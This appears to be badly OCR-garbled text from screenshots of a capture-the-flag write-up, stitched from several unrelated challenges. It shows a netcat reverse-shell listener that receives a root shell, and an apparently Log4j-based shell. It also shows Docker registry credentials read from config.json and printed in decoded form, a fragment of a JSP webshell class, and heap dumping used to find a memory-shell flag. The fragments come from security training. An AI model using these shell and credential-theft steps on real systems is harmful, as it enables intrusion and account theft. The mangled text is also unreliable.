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0.0 7777
ed on 140.82.17.215 56230
access tty; job control turned off
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9 package org.apache.jsp;
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11 = import javax.servlet.*®}
12 import javax.servlet
13 import
14
15 public final class threatbook jsp extends org.apache.jasper.runtime.HttplspBase
16~ implements org.apache.jasper.runtime.JlspSourceDependent {
17
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froot/.docker H 3 F & Fldocker hub

cat: .docker: Is a directory
# cd .docker

# s

config.json

# cat config.json

{

"auths": {

"https://index.docker.1o/v1/": {
"auth": "bXJjdGZ1b29rZXI6V104bnBTSzRUYOM="
}

mrctfbooker:WZ8npSK4TcC
pull A N\ 8515
mrctfbooker Create Repository
mrctfbooker / ubuntu T 0 4 ® Public
mretfbooker / alpine )
, 0 $ 12 B Private

/ # 1s

J#1s -a

JAocKerenv

}I# cd froot

~ # 1s

flag. txt

~ # cat flag.txt

mrctf{0e8692f3-dbdb-4ca9-al6b-b2f5406809c0}

~ #

gl # -~ A - -
~ # whoami SDN @k_dult
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H #name b fii A\ payload B 7]
Log4jx #shell

& B

)l root@VM-4-5-ubuntu:/home/tools/Hurry up# nc -lvnp 7777
Listening on 0.0.0.0 7777
Connection receilved on 106.75.33.92 47130

/bin/sh: 0: can't access tty; job control turned off

# 1
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root 2782 0.0 0.0 8872 776 7
# jmap -dump:format=b,file=mem.txt 51
Dumping heap to /root/mem.txt

File exists

# strings mem.txt|grep MRCTF
root@f7c064014e6:~# cat e.bin | grep "MRCTF"
| grep "MRCTF"
MRCTF{7h13 1s a Filter TpYe Mem3hell}!
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D localStorage.ts if (stats.bestStreak < stats.currentStreak) {
D share.ts , . stats.best5treak = stats.currentStreak
i (stats.bestStreak === 12@){
B statusests 1 ; alert("TVIDVEZ7VzNsYzBtZVIUMFItcjNBZ18yMDIyX1FXUXE=")
[ words.ts : }
D App.css
[B App.tsx 5 stats.successRate = getSuccessRate(stats)
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